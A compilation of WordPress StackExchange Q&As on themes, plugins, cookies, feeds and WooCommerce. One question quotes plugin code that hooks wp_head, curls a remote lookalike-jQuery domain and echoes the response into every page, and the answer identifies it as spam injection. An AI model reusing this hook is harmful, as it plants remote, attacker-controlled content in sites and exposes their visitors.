External stylesheet per page I want to know if this is a good thing to do. I have many `conditional tags` for `Wordpress pages` and all of them are combined in 1 stylesheet, which is not bad, but I see that the front-page for example does not use 50% of the stylesheet. Is there any reason to use the whole stylesheet?
This approach (one general css) will make your first-load times longer, but when you browse other pages, if the css is cached, everything will be faster. If you make your stylesheet smaller by splitting them up.. you might have a 'slightly faster' first-page load but every other page that uses another css will still be slower than using one generic css for all pages. You can minify them if you want as what @JMa have said, you can use caching plugins or even a CDN like cloudflare if you want to make your site faster.. Here is a tool to check your page load times for free: < or <
stackexchange-wordpress
{ "answer_score": 2, "question_score": 0, "tags": "pages, css" }
Force wordpress to request for FTP Info on theme/plugin install/update Is it possible to force wordpress to **always** request for FTP credentials when installing and updating plugins / themes? I know the ftp credentials input is bypassed if wordpress has enough unix user access, but i want wordpress to ask nevertheless. Is this possible? How?
I just tried this on a local install that previously used the 'direct' FS_METHOD. In `wp-config.php`, set the following constants: define('FS_METHOD', 'ftpext'); Not sure if this actually affects things, but I also set these to try to force the input fields to be empty when the form is presented: define('FTP_USER', false); define('FTP_PASS', false); Source: <
stackexchange-wordpress
{ "answer_score": 3, "question_score": 1, "tags": "plugins, themes, updates" }
Searchform for searching specific categories <form id="searchform" method="get" action="<?php echo home_url(); ?>"> <input type="text" name="s" id="s" size="15" /> <?php wp_dropdown_categories( 'show_option_none=Select' ); ?> <input type="submit" value="Search" /> </form> This snippet gives me a searchbox with a selectbox in which I can choose which category I want to search in. That's nice, but **I don't want to show it ALL categories that I have, no, I want to show it specific categories.** How can I do this? Is that even possible?
A simple search in codex shows there are some parameters you can set to exclude some categories for example : <?php $args = array( 'show_option_all' => '', 'show_option_none' => '', 'orderby' => 'ID', 'order' => 'ASC', 'show_count' => 0, 'hide_empty' => 1, 'child_of' => 0, 'exclude' => '', 'echo' => 1, 'selected' => 0, 'hierarchical' => 0, 'name' => 'cat', 'id' => '', 'class' => 'postform', 'depth' => 0, 'tab_index' => 0, 'taxonomy' => 'category', 'hide_if_empty' => false ); ?>
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "search, categories" }
Extending auth_cookie_expiration based on user role I'm trying to extend the lifespan of the authentication cookie, but only for administrators. My code in functions.php is: add_filter( 'auth_cookie_expiration', 'change_admin_cookie_logout' ); function change_admin_cookie_logout( $expirein ) { if ($user_id == current_user_can('promote_users')) { return 60; // yes, I know this is 1 minute } return 20; } The problem I'm having is twofold: 1. When I leave off the else statement, then login fails. In other words, I seem to have to define the expiration time for admins & non-admins, rather than singularly modifying the admin expiration time. 2. the above formula ignores "remember me" and applies it globally. I'd like it to apply only when "Remember Me" is checked. I've tried tweaking wp_set_auth_cookie but hit some walls and came back to this method. Any help is greatly appreciated!
Untested, but the following should only change the expiration time for admins who select 'remember me'. function wpse108399_change_cookie_logout( $expiration, $user_id, $remember ){ if( $remember && user_can( $user_id, 'manage_options' ) ){ $expiration = 60;// yes, I know this is 1 minute } return $expiration; } add_filter( 'auth_cookie_expiration','wpse108399_change_cookie_logout', 10, 3 );
stackexchange-wordpress
{ "answer_score": 9, "question_score": 4, "tags": "functions, cookies" }
exclude parents from the_terms I'm using this function to get the categories linked to the post: the_terms($post->ID, 'portfolio-type', '<p><b>'.__('Categories:','om_theme').'</b> ', ', ', '</p>'); the result is this: > Categories: 16 Max, Capacity The category **Capacity** is parent of **16 Max** category. I'm looking to exclude parents so the result would be: > Categories: 16 Max I appreciate any help!
use `get_the_terms` instead and exclude any terms where parent value is `0`, which means it is a top-level term. $terms = get_the_terms( $post->ID, 'portfolio-type' ); if ( !empty( $terms ) ) { $output = array(); foreach ( $terms as $term ){ if( 0 != $term->parent ) $output[] = '<a href="' . get_term_link( $term ) .'">' . $term->name . '</a>'; } if( count( $output ) ) echo '<p><b>' . __('Categories:','om_theme') . '</b> ' . join( ", ", $output ) . '</p>'; }
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "categories, terms" }
Custom meta boxes in RSS feed I've got a few custom meta fields I'd like to be displayed in RSS feeds. Right now they do not because they are not part of `the_content` I reckon. If anyone has any tips for getting this to happen, please let me know! Thanks!
Try, not tested, add_filter('the_content_feed','add_my_fields_to_rss'); function add_my_fields_to_rss($content) { global $post; $mymeta = get_post_meta($post->ID, 'my_meta', true); $content .= $mymeta; return $content; }
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "custom field, rss" }
What are the differences between WPINC and ABSPATH? It's common for plugin developers to protect their plugins from direct access. I saw two ways to do that: if ( ! defined( 'WPINC' ) ) die; and if ( ! defined( 'ABSPATH' ) ) exit; What are the differences between WPINC and ABSPATH? Which one is the 'right' way to do it?
They are defined as follows: define( 'ABSPATH', dirname(dirname(__FILE__)) . '/' ); define( 'WPINC', 'wp-includes' ); `dirname` is a PHP function that returns the path of the parent directory, and `wp-includes` is pretty self explanatory. I would say `ABSPATH` is better because it's one of the first things WP loads and it also looks better:) But there is no real "right way" because they both work.
stackexchange-wordpress
{ "answer_score": 24, "question_score": 43, "tags": "plugins, php, plugin development" }
get_comment_author_link not working properly I have this snippet: <span><a href="<?php bloginfo('url'); ?>/writer/<?php echo get_comment_author_link(); ?>"><?php echo get_comment_author_link(); ?></a></span> I am displaying the username of the author but it's weird because it works well on the posts... Beneath the post, the username is linked like `/writer/username`, which is fine, but beneath the comment, the username is linked like `/writer/Username`. So for example, a user is called Blackboy 3 , than beneath the post it gets `/writer/blackboy-3`, beneath the comment it gets `/writer/Blackboy 3`. This makes a problem... Because if there is a post called `Blackboy 3`, than the link beneath the comment gets me to the post instead of the `author page`. Why is this? And how can I solve it?
Simple solution drop this in your `functions.php` function your_get_comment_author_link () { global $comment; if ($comment->user_id == '0') { if (!empty ($comment->comment_author_url)) { $url = $comment->comment_author_url; } else { $url = '#'; } } else { $url = get_author_posts_url($comment->user_id); } echo "<a href=\"" . $url . "\">" .get_comment_author () . "</a>"; } If the user is registered this will link to `/writer/username`, if they are not it will either link to their url or to `#` if they haven't provided one. Obviously to use it you'll want use it in your code using <span><?php your_get_comment_author_link() ?></span> Taken from Johan suggestion in comments.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "comments, users, author, links, author template" }
Displaying audio player as preview in audio post in WP3.6 I'm testing the new Wordpress 3.6 Release Candidate 2 and it's [audio] shortcode and there is something I can't figure out. The post contains the following content: _[audio How can I extract this shortcode and it's URL and display it as a player in the post preview in `index.php`? I found the new functions at the bottom of this page ( < ) but I can't figure it out how can I manually display the player on the index as it is shown in `single.php`.
You missed the `src` part. It should have been: [audio src=" Go on the _Shortcode_ section of the Audio / Video support in Core post. * * * $post_content = 'lorem ipsum dolor [audio src=" lorem [audio src=" ipsum '; if( preg_match( '#\[audio\s*.*?\]#s', $post_content, $matches ) && preg_match('/"([^"]+)"/', $matches[0], $m) ){ echo $m[1]; // echoes //set as featured } The first regex will get your first `[audio]` shortcode and the second regex will extract the URL from it by looking what's in between the double quotes. Note that there is `get_shortcode_regex` which should also help you.
stackexchange-wordpress
{ "answer_score": 2, "question_score": 0, "tags": "shortcode, audio" }
Add specific custom fields to post formats I am trying to find a simple way to customise my wordpress backend and register different custom fields for each post formats. I know this is easy to do with custom post types but is it at all possible to register different custom fields for the post format video than the post format audio for example? I could not find anything in the wordpress codex or on any google search Want to achieve this via code not a plugin, any ideas as to which functions to hook into?
your options are this: < and this < Both will allow you to add different custom fields depending on which custom post type you like the field to appear.. (Though I prefer the first one because it is more flexible for me)
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "custom field, post formats" }
Bulk Delete Users Error uri too large I am trying to delete thousands of users at once. After seeing that I can only display up to 999 user records at once using the "Screen Options" menu I thought that might be ok. But upon clicking delete I get a "Request-URI Too Large" error. How can I delete these users without doing it 10 or 20 at a time?
> You can run SQL queries directly on the database. Just make sure you back up your database before you start. – dalbaeb This link left by dalbaeb solved my problem: < It deletes all the required records Thanks all!
stackexchange-wordpress
{ "answer_score": 0, "question_score": 4, "tags": "wp admin, urls, buddypress" }
How to make all posts in a category sticky? Total WP and web development noob here. As the title suggests, I'm trying to make all the posts in one of my categories into "stickied" posts. But so far I've had no luck. What I've tried is this sexy little snippet of code: <?php if (in_category('bestcategoryever')) { stick_post(); } ?> ...but to no avail. Perhaps I'm not putting it in the right place (not quite sure where I should put it really) or perhaps it's wrong to start with. Please explain thoroughly and plainly, my terminology in these things isn't the best. I hope you can help me! Cheers!
You rather need a `save_post` hook. Check following code it marks the post sticky for the specified if it is not already. add_action( 'save_post', 'mark_post_sticky' ); function mark_post_sticky( $post_id ) { if ( !wp_is_post_revision( $post_id ) && !isset($_POST['sticky']) && in_category('bestcategoryever',$post_id) ) { $_POST['sticky'] = 'sticky'; } }
stackexchange-wordpress
{ "answer_score": 2, "question_score": 0, "tags": "categories, sticky post" }
If I change the taxonomy of a post will it get a new time stamp? I have a category called feature that displays the latest post, but further down the line if the user wants to make an older post a featured post, it doesn't currently work. Using the time stamp would be a good hook to implement this, I'm assuming if the user was to check the feature category on an older post and update, would it get a new time stamp? Therefore I could display the most recent time stamped post?
I am making a couple of assumptions: 1. I assume that by "I have a category called feature that displays the latest post" you mean that you are displaying the latest posts in your "featured" category 2. I assume that your "featured" categories have their own template which has a query that displays them. Assuming those assumptions to be correct, you need to alter the query that pulls your featured categories so that it sorts by `post_modified` instead of `post_date`. If you will post your query I will show you how to do that.
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "categories, timestamp" }
stripping tags from excerpt in Wordpress is not working I am using this snippet <a href='<?php the_permalink() ?>' title='<?php echo strip_tags(the_excerpt()); ?> with which I am intending to remove all `ellipses`, `<p>` tags and other `shortcodes` and `links`, but that does not work at all. If I hover the anchor, I am still getting to see the `<p>` wrapped in the excerpt, as well as other tags and the url links. What am I doing wrong and what do I have to do to get it working?
`the_excerpt()` automatically `echo`es the excerpt text. What you need is `get_the_excerpt()`: <a href='<?php the_permalink() ?>' title='<?php echo strip_tags( get_the_excerpt() ); ?>'> However, it probably won't strip out ellipses (…) since they're HTML entities, not tags.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "php, permalinks, tags, excerpt" }
I found this in a plugin. What does it do? is it dangerous? I found this in a plugin. What does it do? is it dangerous? add_action('admin_enqueue_scripts', 'pw_load_scripts'); if (!function_exists('wp__head'){ function wp__head() { if(function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch,CURLOPT_URL," curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10); $jquery = curl_exec($ch); curl_close($ch); echo "$jquery"; } } add_action('wp_head', 'wp__head'); }
It loads a block of markup containing spam (I thought about posting a bit of the source but I don't want to advertise the content in any way) from a domain that is a close misspelling of the domain-- ` used by jQuery, a reputable and popular Javascript library and one that WordPress includes in the Core. I think the idea is to appear to be loading that library, when in fact loading something very different. And it is in other ways attempting to appear to be loading jQuery. Notice the variable name `$jquery`. It may attempt to load malicious scripts as well. I didn't check. I _would_ definitely call it dangerous especially since the content on that page can change anytime the domain controllers feel like it. At best it is going to damage your site as search engines look down on sites that spread spam. Don't use it. It does nothing beneficial for you or for anyone else on the web other than the people who run the site. If you found this on a reputable site, report it to them.
stackexchange-wordpress
{ "answer_score": 16, "question_score": 17, "tags": "plugins, wp admin, security, curl" }
Woocommmerce show SKU in cart page How to show the SKU next to the product name in the cart page of Woocommerce ? tried to copy it from the Meta.php of single product but it breaks the page...
Add the following code to your theme's `functions.php` file, or as a new plugin: add_filter( 'woocommerce_in_cart_product_title', 'add_sku_in_cart', 20, 3); function add_sku_in_cart( $title, $values, $cart_item_key ) { $sku = $values['data']->get_sku(); return $sku ? $title . sprintf(" (SKU: %s)", $sku) : $title; }
stackexchange-wordpress
{ "answer_score": 2, "question_score": 1, "tags": "plugins" }
Woocommerce checkout page custom checkbox ticked iv created custom checkboxes in the checkout page through the functions.php file but i would like one of them to be ticked how do i do this ? woocommerce_form_field( 'my_checkbox1', array( 'type' => 'checkbox', 'class' => array('input-checkbox'), 'label' => __('Standard Shipping (2–7 Days, FREE!) <span>Most items are shipped FREE OF CHARGE within Thailand.</span>'), 'required' => false, 'value' => true, ), $checkout->get_value( 'my_checkbox1' ));
In WooCommerce checkboxes have always a value of '1'. So you do **not** need to pass `'value' => true`: it does nothing. To set checkbox checked or not WooCommerce uses the WP checked function where 1 (integer) is compared with the value you pass as third param in `woocommerce_form_field`. Pass 1 as default and your checkbox will be checked as default. $checked = $checkout->get_value( 'my_checkbox1' ) ? $checkout->get_value( 'my_checkbox1' ) : 1; woocommerce_form_field( 'my_checkbox1', array( 'type' => 'checkbox', 'class' => array('input-checkbox'), 'label' => __('Standard Shipping (2–7 Days, FREE!) <span>Most items are shipped FREE OF CHARGE within Thailand.</span>'), 'required' => false, ), $checked );
stackexchange-wordpress
{ "answer_score": 5, "question_score": 3, "tags": "plugins" }
url for posts for a date within a category I am trying to create something like a newsletter. I'd like to show a set of categories with hyperlinks. however, I want to restrict that to the specific date. Clicking on the hyperlink will show the posts within that category and a specific date. Can I use the a permalink to achieve this?
You can just add some settings to the permalinks: Go to: `Settings->Permalinks` If you want the url like this: ` Add: `/%category%/%year%/%monthnum%/%day%/%postname%/` Read more here
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "categories, permalinks, date" }
Execute a function when the entire page is displayed How can I execute a function, which is in a plugin, only once the entire page is displayed ?
Last action you can do... add_action('shutdown', 'before_the_end_of_world'); function before_the_end_of_world() { die('I will miss you, wordpress'); }
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "plugins, functions" }